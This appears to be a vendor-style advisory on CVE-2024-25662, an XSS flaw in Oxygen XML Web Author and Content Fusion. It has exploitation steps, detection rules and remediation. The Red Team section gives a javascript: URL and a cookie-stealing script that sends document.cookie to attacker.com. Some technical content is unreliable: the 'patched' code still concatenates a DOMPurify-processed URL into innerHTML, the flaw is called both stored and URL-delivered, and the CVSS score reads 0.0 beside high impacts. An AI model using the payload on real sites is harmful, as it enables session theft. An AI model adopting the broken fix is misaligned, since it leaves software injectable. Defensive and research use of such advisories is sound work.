CVE-2024-25662

Executive Summary

CVE-2024-25662 is a stored Cross-Site Scripting (XSS) vulnerability affecting Oxygen XML Web Author (v26.0.0 and older) and Oxygen Content Fusion (v6.1 and older). The vulnerability allows an attacker to inject malicious JavaScript via crafted URLs, which are then executed in the context of the victim's browser when the URL is rendered or processed by the application. This can lead to session hijacking, data exfiltration, or further compromise of the application environment. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using these products.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product vulnerability in Oxygen XML Web Author and Oxygen Content Fusion. Organizations should verify the integrity of their installations and monitor for any unofficial patches or updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click or view the malicious URL)
• Scope: Changed (impact on other components)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None
• Threat Level: High (due to potential for session hijacking and data theft)

Deep Dive & Mechanics

The vulnerability resides in the URL handling mechanism of Oxygen XML Web Author and Oxygen Content Fusion. When a user accesses a specially crafted URL containing malicious JavaScript, the application fails to properly sanitize the input before rendering it in the browser. This allows the attacker to execute arbitrary scripts in the context of the user's session.

Attack Vector:

1. An attacker crafts a URL containing a malicious payload, e.g., javascript:alert(document.cookie) or a more complex XSS vector.
2. The attacker delivers this URL to a victim via email, social engineering, or by embedding it in a document.
3. The victim, using the vulnerable Oxygen application, clicks or views the URL.
4. The application processes the URL without proper encoding or validation, executing the attacker's script.
5. The script can steal session cookies, redirect the user, or perform actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding for URLs in the application's rendering engine.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly renders user-supplied URL without sanitization
function renderUrl(url) {
    document.getElementById('link').innerHTML = '<a href="' + url + '">Click here</a>';
}

Patched Code (Conceptual):

// Patched: Uses DOMPurify or similar library to sanitize URL
function renderUrl(url) {
    const sanitizedUrl = DOMPurify.sanitize(url);
    document.getElementById('link').innerHTML = '<a href="' + sanitizedUrl + '">Click here</a>';
}

Note: No official patch has been released. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Vulnerable Oxygen XML Web Author v26.0.0 or Oxygen Content Fusion v6.1
• A web server to host the malicious payload (optional)
• A victim user with access to the application

Exploitation Steps:

1. Craft a malicious URL: http://victim-application.com/redirect?url=javascript:alert('XSS')
2. Deliver the URL to the victim via email or by embedding it in a shared document.
3. When the victim clicks the link, the JavaScript executes in their browser context.

Example Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual URL patterns containing javascript:, data:, or other URI schemes.
• Use web application firewalls (WAF) to block malicious XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search logs for URLs containing javascript: or onerror attributes.
• Look for anomalous outbound connections from the application server.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie data.
• Logs: Application logs showing URLs with javascript: or data: schemes.
• File System: Modified configuration files or injected scripts in the application directory.
• Memory: Suspicious JavaScript execution in browser memory (detectable via browser dev tools).

Detection Engineering

YARA Rule

rule CVE_2024_25662_XSS_Detection {
    meta:
        description = "Detects malicious URLs targeting Oxygen XML Web Author / Content Fusion"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25662"
    strings:
        $xss1 = "javascript:" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "alert(" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-25662 XSS Attempt
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects XSS attempts via malicious URLs in Oxygen XML Web Author / Content Fusion
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'javascript:'
            - 'onerror='
            - 'onload='
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of javascript: in documentation
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25662 XSS Attempt"; flow:to_server,established; content:"javascript:"; nocase; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict input validation for all URLs, rejecting any that contain javascript:, data:, or other dangerous schemes.
2. Output Encoding: Use context-aware output encoding (e.g., HTML entity encoding) when rendering URLs.
3. Content Security Policy (CSP): Deploy CSP headers to restrict script execution and block inline scripts.
4. Web Application Firewall (WAF): Configure WAF rules to block common XSS payloads.

Long-Term Fix:

• Apply vendor patches when available.
• Upgrade to the latest version of Oxygen XML Web Author or Oxygen Content Fusion.
• Conduct regular security audits and penetration testing.

Workarounds:

• Disable URL rendering features if not essential.
• Use a reverse proxy to sanitize incoming requests.

Valters IT